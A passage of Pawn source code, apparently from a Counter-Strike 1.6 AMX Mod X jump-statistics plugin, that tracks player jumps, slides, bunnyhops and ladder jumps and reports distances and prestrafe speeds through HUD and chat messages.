				if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
				{
					spd=1400;
				}
				else spd=450;
				
				if(speed[id]> spd || weapSpeedOld[id] != weapSpeed[id])
				{
					if(weapSpeedOld[id] != weapSpeed[id])
					{
						
						changetime[id]=get_gametime();
					}
					JumpReset(id,29);
					return FMRES_IGNORED;
				}
				
				if(leg_settings==1 && (get_pcvar_num(edgefriction) != 2 || fGravity != 1.0 || get_pcvar_num(mp_footsteps) != 1
					|| get_pcvar_num(sv_cheats) != 0
					|| get_pcvar_num(sv_gravity) != 800
					|| get_pcvar_num(sv_airaccelerate) != airace
					|| get_pcvar_num(sv_maxspeed) != 320
					|| get_pcvar_num(sv_stepsize) != 18
					|| get_pcvar_num(sv_maxvelocity) != 2000
					|| pev(id, pev_waterlevel) >= 2 ))
					{
						JumpReset(id,99);
						return FMRES_IGNORED;
					}
			
				if(!(button&IN_MOVELEFT)
				&& oldbuttons&IN_MOVELEFT)
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_MOVERIGHT
				&& !(button&IN_MOVERIGHT))
				{
					button_what[id]=0;
					preessbutton[id]=false;
				}
				else if(oldbuttons&IN_BACK
				&& !(button&IN_BACK))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_FORWARD
				&& !(button&IN_FORWARD))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
					
				if( !(flags&FL_ONGROUND) )
				{
					last_land_time[id] = get_gametime();
					jof[id]=0.0;
				}
					
				
				if(bhopaem[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					bhopaemtime[id]=get_gametime();
				}
				else if(bhopaem[id]==true && flags&FL_ONGROUND && get_gametime()-bhopaemtime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
			
					bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==false)
				{
					first_ground_bhopaem[id]=true;
					ground_bhopaem_time[id]=get_gametime();
				}
				else if(nextbhop[id]==true && !(flags&FL_ONGROUND) && first_ground_bhopaem[id]==true && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==true && (get_gametime()-ground_bhopaem_time[id]>0.1) && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
					bhopaem[id]=false;
					nextbhop[id]=false;
				}
				
				if(nextbhop[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					nextbhoptime[id]=get_gametime();
				}
				if(nextbhop[id]==true && flags&FL_ONGROUND && get_gametime()-nextbhoptime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
					nextbhop[id]=false;
				}
				if(flags & FL_ONGROUND && h_jumped[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					heightoff_origin[id]=0.0;
				}
				
				if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_BACK && backwards[id]==false)
				{
					backwards[id]=true;
				}
				else if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_FORWARD && backwards[id])
				{
					backwards[id]=false;
				}
				
				if(flags & FL_ONGROUND && button&IN_JUMP && !(oldbuttons&IN_JUMP) && movetype[id] != MOVETYPE_FLY)
				{
					if(is_user_ducking(id))
					{
						heightoff_origin[id]=origin[2]+18;
					}
					else heightoff_origin[id]=origin[2];
					
					h_jumped[id]=true;
				}
				else if(flags & FL_ONGROUND && h_jumped[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:heightland_origin;
					if(is_user_ducking(id))
					{
						heightland_origin=origin[2]+18;
					}
					else heightland_origin=origin[2];
					
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					h_jumped[id]=false;
				}
				
				if((movetype[id] != MOVETYPE_FLY))	
				{
					if(firstfr[id]==false)
					{
						firstfr[id]=true;
						pev(id, pev_velocity, velocity);
						pev(id, pev_origin, origin);
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							firstvel[id]=velocity[2];
						}
						firstorig[id]=origin;
					}
					else if(firstfr[id]==true )
					{
						pev(id, pev_origin, origin);
						pev(id, pev_velocity, velocity);
			
						secorig[id]=origin;
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							secvel[id]=velocity[2];
						}
						firstfr[id]=false;	
					}
					if(!(flags&FL_ONGROUND) && first_air[id]==false)
					{
						framecount[id]++;
						if(framecount[id]==2)
						{
							first_air[id]=true;
						}
						
						SurfFrames[id]=floatabs(firstvel[id]-secvel[id]);
						
						if(floatabs(firstvel[id]-secvel[id])>41)
						{
							SurfFrames[id]=oldSurfFrames[id];
						}
						oldSurfFrames[id]=SurfFrames[id];
					}
					if(flags&FL_ONGROUND && first_air[id]==true)
					{
						first_air[id]=false;
						framecount[id]=0;
					}
					if(!(flags&FL_ONGROUND) && SurfFrames[id]<7.9 && uq_fps==1 && fps_hight[id]==false)
					{
						fps_hight[id]=true;
					}
					if((flags&FL_ONGROUND) && SurfFrames[id]>7.9 && fps_hight[id])
					{
						fps_hight[id]=false;
					}
			
					if(!(flags&FL_ONGROUND) && 1.7*floatabs(firstvel[id]-secvel[id])<SurfFrames[id] && floatabs(firstvel[id]-secvel[id])!=4.0)
					{
						if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
						{
							slide[id]=true;
						}
						else if(!ladderjump[id] && movetype[id] != MOVETYPE_FLY)
						{
							find_sphere_class (id, "func_ladder",200.0, entlist1, 1);
							if(!entlist1[0])
							{
								JumpReset(id,30);
								slide_protec[id]=true;
								return FMRES_IGNORED;
							}
						}
					}
					else 
					{
						if(slide[id]==true && ((oldbuttons&IN_MOVELEFT && button&IN_MOVERIGHT) || (oldbuttons&IN_MOVERIGHT && button&IN_MOVELEFT)))
						{
							if(touch_ent[id])
							{
								JumpReset(id,102);
							}
							
							if(task_exists(id)) remove_task(id);
							
							set_task(1.5,"JumpReset1", id);
							
							pev(id, pev_origin, origin);
							
							slidim[id]=true;
							jump_type[id]=Type_Slide;
							
							g_Jumped[id]	= true;
							prestrafe[id]	= speed[id];
			
							if(showpre[id]==true)
							{
								set_hudmessage(255,255, 255, -1.0, 0.85, 0, 0.0, 0.7, 0.1, 0.1, 2);
								show_hudmessage(id, "Slide pre: %.03f",speed);
							}
							slide[id]=false;
						}
					}
					
					firstorig[id][2]=0.0;
					secorig[id][2]=0.0;
					
					if((slidim[id]==true || slide[id]==true) && get_distance_f(firstorig[id],secorig[id])>20.0)
					{
						groundslide[id]=0.0;
						waits[id]=0;
						slidim[id]=false;
						taskslide[id]=0;
						failslide[id]=false;
						slide[id]=false;
						g_Jumped[id]	= false;
						
						return FMRES_IGNORED;
					}
					
					if((g_Jumped[id]==true || h_jumped[id]) && get_distance_f(firstorig[id],secorig[id])>6.0)
					{
						h_jumped[id]=false;
						JumpReset(id,31);
						return FMRES_IGNORED;
					}
				}
				if(slidim[id]==true)
				{
					
					//if(Pmaxspeed != 250.0)
					//{
					//	client_print(id,print_center,"Slide works only withs weapons 250.0 speed"); 
					//	return FMRES_IGNORED;
					//}
					
					pev(id, pev_origin, origin);
					new Float:start[33][3],Float:end[33][3];
					
				
					start[id][0]=origin[0];
					start[id][1]=origin[1]+16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]+16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][0]);
			
					start[id][0]=origin[0];
					start[id][1]=origin[1]-16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]-16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][1]);
					
					start[id][0]=origin[0]+16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]+16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][2]);
					
					start[id][0]=origin[0]-16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]-16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][3]);
					
					for(new i=0;i<4;i++)
					{		
						if(i!=3)
						{
							if(slidez[id][i][2]>slidez[id][i+1][2])
							{
								needslide[id]=slidez[id][i][2];
								groundslide[id]=slidez[id][i+1][2];
							
								if(needslide[id]-groundslide[id]>149.0 && landslide[id]==false)
								{
									landslide[id]=true;
									pev(id, pev_origin, origin);
									if( !(is_user_ducking(id)) )
									{
										origin[2]-=36.0;
									}
									else origin[2]-=18.0;
									
									slideland[id]=origin[2];
									slidedist[id]=slideland[id]-groundslide[id];
									maxspeed[id]=speed[id];
								}
							}
						}
					}
				
					if(taskslide[id]==0)
					{
						set_task(0.4,"wait", id+3313);
						taskslide[id]=1;
					}
					
					pev(id, pev_velocity, velocity);
					if(velocity[1]==0.0 && failslide[id]==false && !(flags&FL_ONGROUND) && waits[id]==1 )
					{
						if( !(is_user_ducking(id)) )
						{
							origin[2]-=36.0;
						}
						else origin[2]-=18.0;
						failslidez[id]=origin[2];
						failslide[id]=true;			
					}
				}
				
				if(flags&FL_ONGROUND && slidim[id]==true && Pmaxspeed == 250.0)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								client_print(i, print_console, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
								set_hudmessage( stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
							}
							else
							{
								client_print(i, print_console, "Slide Distance: %f",slidedist[id]);
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %f",slidedist[id]);
							}
						}
					}
									
					new iPlayers[32],iNum; 
					get_players ( iPlayers, iNum,"ch") ;
					for(new i=0;i<iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								ColorChat(ids, GREY, "[%s] %s jumped %d.xxx units with Slide lj!^x01%s",prefix, g_playername[id], floatround(slidedist[id], floatround_floor),airacel[id]);
							}
							else 
							ColorChat(ids, GREY, "[%s] %s jumped %.3f units with Slide lj!^x01%s",prefix, g_playername[id], slidedist[id],airacel[id]);				
						}
					}
										
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					slidim[id]=false;
					taskslide[id]=0;
					taskslide1[id]=0;
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(slideland[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(slideland[id]));
				
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
					landslide[id]=false;
				}
				if((failslide[id]==true) && slidim[id]==true)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							client_print(i, print_console, "Slide Distance: %f Prestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
					
							set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage( i, "Slide Distance: %f^nPrestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
						}
					}
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(failslidez[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(failslidez[id]));
					
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
			
					failslide[id]=false;
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					taskslide[id]=0;
					taskslide1[id]=0;
				}
			
				if( (in_air[id]==true || in_bhop[id] == true) && !(flags&FL_ONGROUND) )
				{
					static i;
					for( i = INFO_ZERO; i < 2; i++ )
					{
						if( (i == 1) 
						|| (frame_origin[id][i][0] == 0
						&& frame_origin[id][i][1] == 0
						&& frame_origin[id][i][2] == 0 
						&& frame_velocity[id][i][0] == 0
						&& frame_velocity[id][i][1] == 0
						&& frame_velocity[id][i][2] == 0 )) 
						{
							frame_origin[id][i][0] = origin[0];
							frame_origin[id][i][1] = origin[1];
							frame_origin[id][i][2] = origin[2];
							
							pev(id, pev_velocity, velocity);
							frame_velocity[id][i][0] = velocity[0];
							frame_velocity[id][i][1] = velocity[1];
							frame_velocity[id][i][2] = velocity[2];
							i=2;
						}
					}
					
				}
				
				if( (in_air[id]) && !( flags & FL_ONGROUND ) && !failed_jump[id])
				{	
					if(uq_script_detection)
					{
						new Float:angles[3];
						pev(id,pev_angles,angles);
						
						if(floatabs(angles[0]-old_angles[id][0])==0.0)
						{
							angles_arry[id]++;
						}
						//if()
						//{
						//	angles_arry1[id]++;
						//}
						
						//client_print(id,print_chat,"%f",floatabs(vector_length(angles)-vector_length(old_angles[id])));	
					
						old_angles[id]=angles;
					}
					
					new Float:jh_origin;
					
					jh_origin=origin[2];
					
					if(floatabs(jumpoff_origin[id][2]-jh_origin)<oldjump_height[id] && jheight[id]==0.0)
					{
						
						if(is_user_ducking(id))
						{
							jheight[id]=oldjump_height[id]+18.0;
						}
						else jheight[id]=oldjump_height[id];
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(jheight_show[i]==true )
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
									
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
								}
							}
						}
						
						if(!direct_for_strafe[id])
						{
							if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=1;
							}
							else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=2;
							}
							else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=3;
							}
							else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=4;
							}
						}
					}
					
					
					
					oldjump_height[id]=floatabs(jumpoff_origin[id][2]-origin[2]);
					
					if(bug_check[id]==0 && floatfract(velocity[2])==0)
					{
						bug_check[id]=1;
					}
					else if(bug_check[id]==1 && floatfract(velocity[2])==0)
					{
						bug_true[id]=true;
						bug_check[id]=0;
					}
					if( !in_bhop[id] )
					{
						fnSaveBeamPos( id );
					}
					static Float:old_speed[33];
					if( speed[id] > old_speed[id] )
					{
						frames_gained_speed[id]++;
					}
					frames[id]++;
					
					old_speed[id] = speed[id];
			
					if( speed[id] > maxspeed[id] )
					{
						if (strafe_num[id] < NSTRAFES)
						{
							strafe_stat_speed[id][strafe_num[id]][0] += speed[id] - maxspeed[id];
						}
						maxspeed[id] = speed[id];
					}
					if ((speed[id] < TempSpeed[id]) && (strafe_num[id] < NSTRAFES))
					{
						strafe_stat_speed[id][strafe_num[id]][1] += TempSpeed[id] - speed[id];
						if(strafe_stat_speed[id][strafe_num[id]][1]>5)
						{
							if(floatabs(firstvel[id]-secvel[id])<SurfFrames[id]-0.1)
							{
								Checkframes[id]=true;
							}
							else if(floatabs(firstvel[id]-secvel[id])>SurfFrames[id])
							{
								Checkframes[id]=true;
							}
						}
						
						
					}
					TempSpeed[id] = speed[id];
					
					if((origin[2] + 18.0 - jumpoff_origin[id][2] < 0))
					{
						failed_jump[id] = true;
					}
					else if( (is_user_ducking(id) ? (origin[2]+18) : origin[2]) >= jumpoff_origin[id][2] )
					{
						failed_origin[id] = origin;
						failed_ducking[id] = is_user_ducking( id );
						failed_velocity[id] = velocity;
						
						origin[2] = pre_jumpoff_origin[id][2];	
					}
					if( first_frame[id] ) 
					{
						first_frame[id] = false;
						frame_velocity[id][0] = velocity;
						
						gBeam_count[id] = 0;
						for( new i = 0; i < 100; i++ )
						{
							gBeam_points[id][i][0]	= 0.0;
							gBeam_points[id][i][1]	= 0.0;
							gBeam_points[id][i][2]	= 0.0;
							gBeam_duck[id][i]	= false;
							gBeam_button[id][i]=false;
						}
						
						if(in_bhop[id] && jump_type[id]!=Type_DuckBhop)
						{
							if(upBhop[id])
							{
								if(jump_type[id]==Type_Up_Bhop_In_Duck)
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBID");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBID");
								}
								else if(velocity[2] < upbhop_koeff[id])
								{
									jump_type[id]=Type_Up_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBJ");
								}
								else
								{
									jump_type[id]=Type_Up_Stand_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_USBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_USBJ");
								}
								upBhop[id]=false;
							}
							else if(jump_type[id]==Type_Bhop_In_Duck)
							{
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BID");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BID");
							}
							else if( velocity[2] < 229.0)
							{
								jump_type[id] = Type_BhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BJ");
							}
							else 
							{
							
								jump_type[id] = Type_StandupBhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SBJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SBJ");
								jumpoff_origin[id][2] = pre_jumpoff_origin[id][2];
							}
							
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && prestrafe[id]>min_prestrafe[id])
									{
										if((Pmaxspeed * 1.2)>prestrafe[id] )
										{
											if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE33",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE34",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Stand_Bhop && (uq_upsbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE35",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Bhop_In_Duck   &&  uq_bhopinduck==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE36",prestrafe[id]);
											}
											else if(jump_type[id]==Type_BhopLongJump   &&  uq_bj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE37",prestrafe[id]);
											}
											else if(jump_type[id]==Type_StandupBhopLongJump  && uq_sbj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE38",prestrafe[id]);
											}
										}
										else
										{	
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
										}
									}
								}
							}
						}
						else if(jump_type[id]==Type_DuckBhop)
						{
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && speed[id]>50.0)
									{
										if((Pmaxspeed * 1.2)>speed[id] )
										{
											if(prestrafe[id]<200)
											{
												if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==1))
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE32",prestrafe[id]);
												}
											}
										}
									}
								}
							}
						}
					} 
					else
					{	
						frame_velocity[id][1] = velocity;
					}
					
					if( in_bhop[id] )
						fnSaveBeamPos( id );
			
					if(detecthj[id]!=1)
					{	
						starthj[id][0] = origin[0];
						starthj[id][1] = origin[1];
						starthj[id][2] = jumpoff_origin[id][2]+28.0;
						stophj[id][0] = origin[0];
						stophj[id][1] = origin[1];
						stophj[id][2] = starthj[id][2] - 133.0; 
							
						engfunc( EngFunc_TraceLine, starthj[id], stophj[id], IGNORE_MONSTERS, id, 0 );
						get_tr2( 0, TR_vecEndPos, endhj[id]);
						
						if(starthj[id][2]-endhj[id][2]<133.0 && (starthj[id][2]-endhj[id][2]-64)!=0 && (starthj[id][2]-endhj[id][2]-64)>0 && detecthj[id]!=1)
						{
							detecthj[id]=2;
						}
						
						if(starthj[id][2]-endhj[id][2]>=133.0 && detecthj[id]!=2)
						{
							detecthj[id]=1;
						}
					}
					
					if(ddafterJump[id])
						ddafterJump[id]=false;	
				}
				
				if(notjump[id] && bhopaem[id])
				{
					notjump[id]=false;
				}
				
				if( flags&FL_ONGROUND )
				{
					surf[id]=0.0;
					if (!pev( id, pev_solid ))
					{
						static ClassName[32];
						pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
			
						if( equali(ClassName, "func_train")
							|| equali(ClassName, "func_conveyor") 
							|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
						{
							JumpReset(id,32);
							set_task(0.4,"JumpReset1", id);
						}
						else if(equali(ClassName, "func_door") || equali(ClassName, "func_door_rotating") )
						{
							JumpReset(id,33);
							set_task(0.4,"JumpReset1", id);	
						}
					}
					
					pev(id, pev_origin, origin);
					notjump[id]=true;
					if(is_user_ducking(id))
					{
						falloriginz[id]=origin[2]+18;
					}
					else falloriginz[id]=origin[2];
					
					if( OnGround[id] == false)
					{	
						if (dropbhop[id] || in_ladder[id] || jump_type[id] == Type_WeirdLongJump || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump)
						{
							FallTime[id]=get_gametime();
							
						}
						OnGround[id] = true;
					}
				}
				
				if( !(flags&FL_ONGROUND) && notjump[id]==true && (movetype[id] != MOVETYPE_FLY) && jump_type[id]!=Type_ladderBhop )//&& jump_type[id] != Type_Drop_CountJump)
				{	
					pev(id, pev_origin, origin);
			
					OnGround[id] = false;
					
					pev(id, pev_velocity, velocity);
					
					new Float:tempfall;
					
					if(is_user_ducking(id))
					{
						tempfall=origin[2]+18;
					}
					else tempfall=origin[2];
					
					if( falloriginz[id]-tempfall>1.0 && !cjjump[id] && (ddforcj[id] || jump_type[id] == Type_Drop_CountJump || jump_type[id] == Type_StandUp_CountJump || jump_type[id] == Type_None || jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump))
					{
						oldjump_type[id]=0;
			
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						
						if(ddforcj[id])
						ddforcj[id]=false;
						
						jump_type[id] = Type_WeirdLongJump;
						
					}
					
					if (velocity[2] == -240.0)
					{
						oldjump_type[id]=0;
						ddbeforwj[id]=true;
						jump_type[id] = Type_WeirdLongJump;
						
						
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DDWJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DDWJ");
					}
				}
				else if(!(flags&FL_ONGROUND) && notjump[id]==false && (movetype[id] != MOVETYPE_FLY) && in_ladder[id]==false && jump_type[id] != Type_Slide)
				{
					oldjump_type[id]=0;
					OnGround[id] = false;
			
					pev(id, pev_velocity, velocity);
					pev(id, pev_origin, origin);
					
					new Float:drbh;
					if(is_user_ducking(id))
					{
						drbh=origin[2]+18;
					}
					else drbh=origin[2];
			
					if(dropbjorigin[id][2]-drbh>2.0)
					{
						if(dropbjorigin[id][2]-drbh<30 && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_None)
						{
							old_type_dropbj[id]=jump_type[id];
							formatex(Jtype_old_dropbj[id],32,Jtype[id]);
							formatex(Jtype_old_dropbj1[id],32,Jtype1[id]);
						}
						
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
						nextbhop[id]=false;
						bhopaem[id]=false;
						dropbhop[id]=true;
					}
				}
				
				if( movetype[id] == MOVETYPE_FLY) 
				{
					OnGround[id] = false;
					firstvel[id]=8.0;
					secvel[id]=0.0;
					checkladdertime[id]=get_gametime();
				}
				if( movetype[id] == MOVETYPE_FLY && firstladder[id]==false) 
				{
					firstladder[id]=true;
					nextbhop[id]=false;
					bhopaem[id]=false;
					h_jumped[id]=false;
					JumpReset(id,34);
					return FMRES_IGNORED;
				}
				if( movetype[id] != MOVETYPE_FLY && firstladder[id]==true && flags&FL_ONGROUND) 
				{
					firstladder[id]=false;
				}
				if( (movetype[id] == MOVETYPE_FLY) &&  (button&IN_FORWARD || button&IN_BACK || button&IN_LEFT || button&IN_RIGHT ) )
				{
					ladderjump[id]=true;
					find_sphere_class (id, "func_ladder",18.0, entlist1, 1);
					
					if(entlist1[0]!=0)
					{
						for(new i=0;i<nLadder;i++)
						{
							if(entlist[i]==entlist1[0])
							{
								nashladder=i;	
							}
						}
					}
			
					prestrafe[id]	= speed[id];
